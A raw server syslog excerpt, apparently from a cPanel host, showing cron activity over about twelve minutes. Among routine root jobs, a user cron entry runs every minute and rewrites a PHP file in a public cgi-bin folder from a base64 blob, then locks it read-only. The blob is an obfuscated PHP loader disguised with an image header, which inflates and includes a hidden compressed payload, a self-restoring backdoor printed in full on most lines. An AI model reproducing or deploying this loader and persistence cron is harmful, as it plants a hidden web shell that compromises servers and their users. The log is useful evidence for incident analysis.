Nov 10 23:54:01 server CROND[15022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:55:01 server CROND[15842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:55:01 server CROND[15843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:55:01 server CROND[15844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:56:01 server CROND[16920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:57:01 server CROND[17844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:57:01 server CROND[17845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 23:58:01 server CROND[18649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:59:01 server CROND[19531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:00:01 server CROND[19849]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:00:01 server CROND[19851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 00:00:01 server CROND[19852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:00:01 server CROND[19853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:00:01 server CROND[19854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:00:01 server CROND[19855]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 00:01:01 server CROND[20414]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 00:01:01 server CROND[20415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:01:01 server run-parts(/etc/cron.hourly)[20414]: starting 0anacron
Nov 11 00:01:01 server anacron[20427]: Anacron started on 2025-11-11
Nov 11 00:01:01 server run-parts(/etc/cron.hourly)[20430]: finished 0anacron
Nov 11 00:01:01 server anacron[20427]: Normal exit (0 jobs run)
Nov 11 00:02:01 server CROND[21251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:03:01 server CROND[22173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:04:01 server CROND[22988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:05:01 server CROND[23862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:05:01 server CROND[23863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:05:01 server CROND[23864]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 00:05:01 server CROND[23865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:06:01 server CROND[24685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 